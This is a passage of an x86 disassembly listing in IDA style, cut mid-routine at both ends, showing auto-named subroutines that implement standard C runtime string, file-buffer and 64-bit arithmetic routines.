		or	edi, 0FFFFFFFFh
		jmp	short loc_414E7E
; ---------------------------------------------------------------------------


loc_414E6C:				; CODE XREF: sub_414E31+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_414E7E
		push	eax
		call	sub_413F7F
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_414E7E:				; CODE XREF: sub_414E31+17j
					; sub_414E31+39j ...
		mov	eax, edi


loc_414E80:				; CODE XREF: sub_414E31+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_414E31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E87	proc near		; CODE XREF: sub_404857+4Ep
					; sub_405A21+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_414EAB
		xor	eax, eax
		jmp	loc_414F54
; ---------------------------------------------------------------------------


loc_414EAB:				; CODE XREF: sub_414E87+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414EBE
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_414ECA
; ---------------------------------------------------------------------------


loc_414EBE:				; CODE XREF: sub_414E87+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_414ECA
; ---------------------------------------------------------------------------


loc_414EC7:				; CODE XREF: sub_414E87+C4j
		mov	ecx, [ebp+arg_0]


loc_414ECA:				; CODE XREF: sub_414E87+35j
					; sub_414E87+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414EFC
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_414EFC
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_414EE1
		mov	edi, eax


loc_414EE1:				; CODE XREF: sub_414E87+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4138F0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_414F47
; ---------------------------------------------------------------------------


loc_414EFC:				; CODE XREF: sub_414E87+49j
					; sub_414E87+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_414F2F
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_414F12
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_414F12:				; CODE XREF: sub_414E87+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_4199F4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414F59
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414F5F
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_414F47
; ---------------------------------------------------------------------------


loc_414F2F:				; CODE XREF: sub_414E87+78j
		push	esi
		call	sub_41991B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414F63
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_414F47:				; CODE XREF: sub_414E87+73j
					; sub_414E87+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_414EC7
		mov	eax, [ebp+arg_8]


loc_414F54:				; CODE XREF: sub_414E87+1Fj
					; sub_414E87+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414F59:				; CODE XREF: sub_414E87+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_414F63
; ---------------------------------------------------------------------------


loc_414F5F:				; CODE XREF: sub_414E87+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_414F63:				; CODE XREF: sub_414E87+B2j
					; sub_414E87+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_414F54
sub_414E87	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F6F	proc near		; CODE XREF: sub_414F8F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_419D5A
		test	eax, eax
		jnz	short loc_414F79
		retn
; ---------------------------------------------------------------------------


loc_414F79:				; CODE XREF: sub_414F6F+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_419BEA
		add	esp, 10h
		retn
sub_414F6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F8F	proc near		; CODE XREF: sub_404857+2Ap
					; sub_405A21+134p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_414F6F
		add	esp, 0Ch
		retn
sub_414F8F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414FB0	proc near		; CODE XREF: sub_4048F1+2BFp
					; sub_408296+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415021
sub_414FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414FC0	proc near		; CODE XREF: sub_404ECE+15Dp
					; sub_408296+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_414FDC


loc_414FCD:				; CODE XREF: sub_414FC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41500F
		test	ecx, 3
		jnz	short loc_414FCD


loc_414FDC:				; CODE XREF: sub_414FC0+Bj
					; sub_414FC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_414FDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41501E
		test	ah, ah
		jz	short loc_415019
		test	eax, 0FF0000h
		jz	short loc_415014
		test	eax, 0FF000000h
		jz	short loc_41500F
		jmp	short loc_414FDC
; ---------------------------------------------------------------------------


loc_41500F:				; CODE XREF: sub_414FC0+12j
					; sub_414FC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415021
; ---------------------------------------------------------------------------


loc_415014:				; CODE XREF: sub_414FC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_415021
; ---------------------------------------------------------------------------


loc_415019:				; CODE XREF: sub_414FC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415021
; ---------------------------------------------------------------------------


loc_41501E:				; CODE XREF: sub_414FC0+39j
		lea	edi, [ecx-4]


loc_415021:				; CODE XREF: sub_414FB0+5j
					; sub_414FC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415046


loc_41502D:				; CODE XREF: sub_414FC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415098
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41502D
		jmp	short loc_415046
; ---------------------------------------------------------------------------


loc_415041:				; CODE XREF: sub_414FC0+9Ej
					; sub_414FC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_415046:				; CODE XREF: sub_414FC0+6Bj
					; sub_414FC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415041
		test	dl, dl
		jz	short loc_415098
		test	dh, dh
		jz	short loc_41508F
		test	edx, 0FF0000h
		jz	short loc_415082
		test	edx, 0FF000000h
		jz	short loc_41507A
		jmp	short loc_415041
; ---------------------------------------------------------------------------


loc_41507A:				; CODE XREF: sub_414FC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415082:				; CODE XREF: sub_414FC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41508F:				; CODE XREF: sub_414FC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415098:				; CODE XREF: sub_414FC0+72j
					; sub_414FC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_414FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150A0	proc near		; CODE XREF: sub_4048F1+2B2p
					; sub_404ECE+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_4150B9:				; CODE XREF: sub_4150A0+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_4150B9
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4150E1
		mov	edx, dword_742228


loc_4150E1:				; CODE XREF: sub_4150A0+39j
					; sub_4150A0+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_415101
		test	al, al
		jz	short loc_415101
		inc	edx
		jmp	short loc_4150E1
; ---------------------------------------------------------------------------


loc_415101:				; CODE XREF: sub_4150A0+58j
					; sub_4150A0+5Cj
		mov	ebx, edx


loc_415103:				; CODE XREF: sub_4150A0+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_415127
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_415123
		inc	edx
		jmp	short loc_415103
; ---------------------------------------------------------------------------


loc_415123:				; CODE XREF: sub_4150A0+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_415127:				; CODE XREF: sub_4150A0+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_742228, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4150A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415140	proc near		; CODE XREF: sub_40517E+1B4p
					; sub_406059+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4151C3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_415164
		shr	ecx, 2
		jnz	short loc_4151D1
		jmp	short loc_415185
; ---------------------------------------------------------------------------


loc_415164:				; CODE XREF: sub_415140+1Bj
					; sub_415140+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_415192
		test	al, al
		jz	short loc_41519A
		test	esi, 3
		jnz	short loc_415164
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4151D1


loc_415180:				; CODE XREF: sub_415140+8Fj
		and	ebx, 3
		jz	short loc_415192


loc_415185:				; CODE XREF: sub_415140+22j
					; sub_415140+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4151BE
		dec	ebx
		jnz	short loc_415185


loc_415192:				; CODE XREF: sub_415140+2Bj
					; sub_415140+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41519A:				; CODE XREF: sub_415140+2Fj
		test	edi, 3
		jz	short loc_4151B4


loc_4151A2:				; CODE XREF: sub_415140+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_415236
		test	edi, 3
		jnz	short loc_4151A2


loc_4151B4:				; CODE XREF: sub_415140+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_415227


loc_4151BB:				; CODE XREF: sub_415140+7Fj
					; sub_415140+F4j
		mov	[edi], al
		inc	edi


loc_4151BE:				; CODE XREF: sub_415140+4Dj
		dec	ebx
		jnz	short loc_4151BB
		pop	ebx
		pop	esi


loc_4151C3:				; CODE XREF: sub_415140+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4151C9:				; CODE XREF: sub_415140+A9j
					; sub_415140+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_415180


loc_4151D1:				; CODE XREF: sub_415140+20j
					; sub_415140+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4151C9
		test	dl, dl
		jz	short loc_41521B
		test	dh, dh
		jz	short loc_415211
		test	edx, 0FF0000h
		jz	short loc_415207
		test	edx, 0FF000000h
		jnz	short loc_4151C9
		mov	[edi], edx
		jmp	short loc_41521F
; ---------------------------------------------------------------------------


loc_415207:				; CODE XREF: sub_415140+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41521F
; ---------------------------------------------------------------------------


loc_415211:				; CODE XREF: sub_415140+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41521F
; ---------------------------------------------------------------------------


loc_41521B:				; CODE XREF: sub_415140+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41521F:				; CODE XREF: sub_415140+C5j
					; sub_415140+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_415231


loc_415227:				; CODE XREF: sub_415140+79j
		xor	eax, eax


loc_415229:				; CODE XREF: sub_415140+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_415229


loc_415231:				; CODE XREF: sub_415140+E5j
		and	ebx, 3
		jnz	short loc_4151BB


loc_415236:				; CODE XREF: sub_415140+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_415140	endp


; =============== S U B	R O U T	I N E =======================================



sub_41523E	proc near		; CODE XREF: sub_405A21+2E2p
					; sub_405A21+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4152BA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41525D
		cmp	edi, 1
		jz	short loc_41525D
		cmp	edi, 2
		jnz	short loc_4152BA


loc_41525D:				; CODE XREF: sub_41523E+13j
					; sub_41523E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_415274
		push	esi
		call	sub_419E6C
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_415274:				; CODE XREF: sub_41523E+27j
		push	esi
		call	sub_419849
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_415289
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41529D
; ---------------------------------------------------------------------------


loc_415289:				; CODE XREF: sub_41523E+42j
		test	al, 1
		jz	short loc_41529D
		test	al, 8
		jz	short loc_41529D
		test	ah, 4
		jnz	short loc_41529D
		mov	dword ptr [esi+18h], 200h


loc_41529D:				; CODE XREF: sub_41523E+49j
					; sub_41523E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_419DD2
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_4152C7
; ---------------------------------------------------------------------------


loc_4152BA:				; CODE XREF: sub_41523E+Bj
					; sub_41523E+1Dj
		mov	dword_74222C, 16h
		or	eax, 0FFFFFFFFh


loc_4152C7:				; CODE XREF: sub_41523E+7Aj
		pop	edi
		pop	esi
		retn
sub_41523E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152D0	proc near		; CODE XREF: sub_405A21+2ACp
					; sub_405A21+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_415301
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4152FF
		jz	short loc_415301
		dec	ecx
		dec	ecx


loc_4152FF:				; CODE XREF: sub_4152D0+29j
		not	ecx


loc_415301:				; CODE XREF: sub_4152D0+9j
					; sub_4152D0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_405F18+5Cp
					; sub_405F18+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_4153C4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41533A


loc_41532B:				; CODE XREF: sub_415310+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41536B
		test	edi, 3
		jnz	short loc_41532B


loc_41533A:				; CODE XREF: sub_415310+19j
					; sub_415310+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41533A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_415378
		test	ah, ah
		jz	short loc_415373
		test	eax, 0FF0000h
		jz	short loc_41536E
		test	eax, 0FF000000h
		jnz	short loc_41533A


loc_41536B:				; CODE XREF: sub_415310+20j
		dec	edi
		jmp	short loc_41537B
; ---------------------------------------------------------------------------


loc_41536E:				; CODE XREF: sub_415310+52j
		sub	edi, 2
		jmp	short loc_41537B
; ---------------------------------------------------------------------------


loc_415373:				; CODE XREF: sub_415310+4Bj
		sub	edi, 3
		jmp	short loc_41537B
; ---------------------------------------------------------------------------


loc_415378:				; CODE XREF: sub_415310+47j
		sub	edi, 4


loc_41537B:				; CODE XREF: sub_415310+5Cj
					; sub_415310+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_415390
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4153DC
		jmp	short loc_4153AC
; ---------------------------------------------------------------------------


loc_415390:				; CODE XREF: sub_415310+75j
					; sub_415310+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_4153CA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_4153C0
		test	esi, 3
		jnz	short loc_415390
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4153DC


loc_4153AC:				; CODE XREF: sub_415310+7Ej
					; sub_415310+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_4153C0


loc_4153B3:				; CODE XREF: sub_415310+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_4153C2
		dec	ecx
		jnz	short loc_4153B3


loc_4153C0:				; CODE XREF: sub_415310+8Bj
					; sub_415310+A1j
		mov	[edi], cl


loc_4153C2:				; CODE XREF: sub_415310+ABj
		pop	ebx
		pop	esi


loc_4153C4:				; CODE XREF: sub_415310+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4153CA:				; CODE XREF: sub_415310+85j
					; sub_415310+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4153D4:				; CODE XREF: sub_415310+E4j
					; sub_415310+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4153AC


loc_4153DC:				; CODE XREF: sub_415310+7Cj
					; sub_415310+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4153D4
		test	dl, dl
		jz	short loc_4153CA
		test	dh, dh
		jz	short loc_415428
		test	edx, 0FF0000h
		jz	short loc_415418
		test	edx, 0FF000000h
		jnz	short loc_4153D4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415418:				; CODE XREF: sub_415310+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415428:				; CODE XREF: sub_415310+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415440	proc near		; CODE XREF: sub_406059+2A2p
					; sub_40CC09+2D74p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_415461
		xor	eax, eax
		jmp	short loc_415463
; ---------------------------------------------------------------------------


loc_415461:				; CODE XREF: sub_415440+1Bj
		mov	eax, edi


loc_415463:				; CODE XREF: sub_415440+1Fj
		cld
		pop	edi
		leave
		retn
sub_415440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415467	proc near		; CODE XREF: sub_408410+6p
					; sub_40842E+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_7422B4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_415494
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41552D
		cmp	eax, 5Ah
		jg	loc_41552D
		add	eax, 20h
		jmp	loc_41552D
; ---------------------------------------------------------------------------


loc_415494:				; CODE XREF: sub_415467+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4154C8
		cmp	dword_4379BC, esi
		jle	short loc_4154B6
		push	esi
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_4154C0
; ---------------------------------------------------------------------------


loc_4154B6:				; CODE XREF: sub_415467+42j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4154C0:				; CODE XREF: sub_415467+4Dj
		test	eax, eax
		jnz	short loc_4154C8


loc_4154C4:				; CODE XREF: sub_415467+ADj
		mov	eax, ebx
		jmp	short loc_41552D
; ---------------------------------------------------------------------------


loc_4154C8:				; CODE XREF: sub_415467+3Aj
					; sub_415467+5Bj
		mov	edx, off_4377B0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4154EC
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4154F5
; ---------------------------------------------------------------------------


loc_4154EC:				; CODE XREF: sub_415467+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4154F5:				; CODE XREF: sub_415467+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_7422B4
		call	sub_419FC4
		add	esp, 20h
		test	eax, eax
		jz	short loc_4154C4
		cmp	eax, esi
		jnz	short loc_415520
		movzx	eax, [ebp+var_4]
		jmp	short loc_41552D
; ---------------------------------------------------------------------------


loc_415520:				; CODE XREF: sub_415467+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41552D:				; CODE XREF: sub_415467+16j
					; sub_415467+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415467	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_40930B+3Dp
					; sub_40A927+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_415561
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4155B1
; ---------------------------------------------------------------------------


loc_415561:				; CODE XREF: sub_415540+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41556F:				; CODE XREF: sub_415540+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41556F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41559A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41559A
		jb	short loc_4155A2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4155A2


loc_41559A:				; CODE XREF: sub_415540+4Aj
					; sub_415540+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4155A2:				; CODE XREF: sub_415540+52j
					; sub_415540+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4155B1:				; CODE XREF: sub_415540+1Fj
		pop	ebx
		retn	10h
sub_415540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4155C0	proc near		; CODE XREF: sub_40930B+24p
					; sub_40A927+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4155E2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_415623
; ---------------------------------------------------------------------------


loc_4155E2:				; CODE XREF: sub_4155C0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4155F0:				; CODE XREF: sub_4155C0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4155F0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41561E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41561E
		jb	short loc_41561F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41561F


loc_41561E:				; CODE XREF: sub_4155C0+4Ej
					; sub_4155C0+54j
		dec	esi


loc_41561F:				; CODE XREF: sub_4155C0+56j
					; sub_4155C0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_415623:				; CODE XREF: sub_4155C0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4155C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415628	proc near		; CODE XREF: sub_4093C1+1E3p
					; sub_40C2D0+107p ...

